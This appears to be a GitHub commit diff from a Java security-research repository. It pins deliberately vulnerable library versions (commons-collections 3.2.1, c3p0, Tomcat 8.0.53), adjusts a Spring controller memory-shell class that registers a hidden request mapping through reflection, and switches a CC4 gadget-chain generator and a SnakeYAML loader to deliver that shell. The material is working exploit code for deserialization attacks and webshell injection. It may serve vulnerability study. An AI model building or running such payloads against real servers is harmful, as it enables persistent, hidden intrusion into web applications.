File tree Expand file tree Collapse file tree 4 files changed +28
-6
lines changed
SpringDemo/src/main/java/com/example
Serialization/SnakeyamlDemo/src/main/java/com/ppp Expand file tree Collapse file tree 4 files changed +28
-6
lines changed Original file line number Diff line number Diff line change 15
15
<artifactId >tomcat-catalina</artifactId >
16
16
<!-- <version>7.0.59</version>-->
17
17
<!-- <version>7.0.109</version>-->
18
- <!-- <version>8.0.53</version> -- >
19
- <version >8.5.82</version >
18
+ <version >8.0.53</version >
19
+ <!-- <version>8.5.82</version> -- >
20
20
<!-- <version>9.0.65</version>-->
21
21
<!-- <version>10.0.23</version>-->
22
22
</dependency >
41
41
<artifactId >unboundid-ldapsdk</artifactId >
42
42
<version >3.1.1</version >
43
43
</dependency >
44
-
45
44
<dependency >
46
45
<groupId >org.apache.commons</groupId >
47
46
<artifactId >commons-collections4</artifactId >
48
47
<version >4.0</version >
49
48
</dependency >
49
+ <dependency >
50
+ <groupId >commons-collections</groupId >
51
+ <artifactId >commons-collections</artifactId >
52
+ <!-- <version>3.1</version>-->
53
+ <!-- <version>3.2</version>-->
54
+ <version >3.2.1</version >
55
+ <!-- <version>3.2.2</version>-->
56
+ </dependency >
57
+ <dependency >
58
+ <groupId >com.mchange</groupId >
59
+ <artifactId >c3p0</artifactId >
60
+ <version >0.9.5.2</version >
61
+ </dependency >
50
62
51
63
<dependency >
52
64
<groupId >org.ppp.tools</groupId >
Original file line number Diff line number Diff line change @@ -46,7 +46,7 @@ public SpringControllerMemShell() {
46
46
List <String > urls = new ArrayList ();
47
47
while (urlIterator .hasNext ()) {
48
48
String urlPath = (String ) urlIterator .next ();
49
- if (PATTERN .equals (urlPath )) {
49
+ if (NAME .equals (urlPath )) {
50
50
return ;
51
51
}
52
52
}
@@ -57,6 +57,9 @@ public SpringControllerMemShell() {
57
57
configField .setAccessible (true );
58
58
RequestMappingInfo .BuilderConfiguration config = (RequestMappingInfo .BuilderConfiguration )configField .get (mapping );
59
59
RequestMappingInfo requestMappingInfo = RequestMappingInfo .paths (new String []{PATTERN }).options (config ).build ();
60
+ Field field1 = requestMappingInfo .getClass ().getDeclaredField ("name" );
61
+ field1 .setAccessible (true );
62
+ field1 .set (requestMappingInfo , NAME );
60
63
61
64
// 避免循环
62
65
SpringControllerMemShell springControllerMemShell = new SpringControllerMemShell (NAME );
Original file line number Diff line number Diff line change 10
10
*/
11
11
public class PayloadMake {
12
12
public static void main (String [] args ) throws Exception {
13
- Class cls = SpringEcho .class ;
13
+ Class cls = SpringControllerMemShell .class ;
14
14
CC4Generator cc4Generator = new CC4Generator ();
15
15
String payload = cc4Generator .make (cls );
16
16
System .out .println (payload .length ());
Original file line number Diff line number Diff line change @@ -34,6 +34,13 @@ public static void main(String[] args) {
34
34
35
35
36
36
Yaml yaml = new Yaml ();
37
- yaml .load (c3p0Hex );
37
+ yaml .load (jar );
38
+
39
+ // Iterable<Object> objects = yaml.loadAll(jar);
40
+ // for (Object object : objects) {
41
+ // System.out.println(object);
42
+ // }
43
+
44
+
38
45
}
39
46
}
You can’t perform that action at this time.
0 commit comments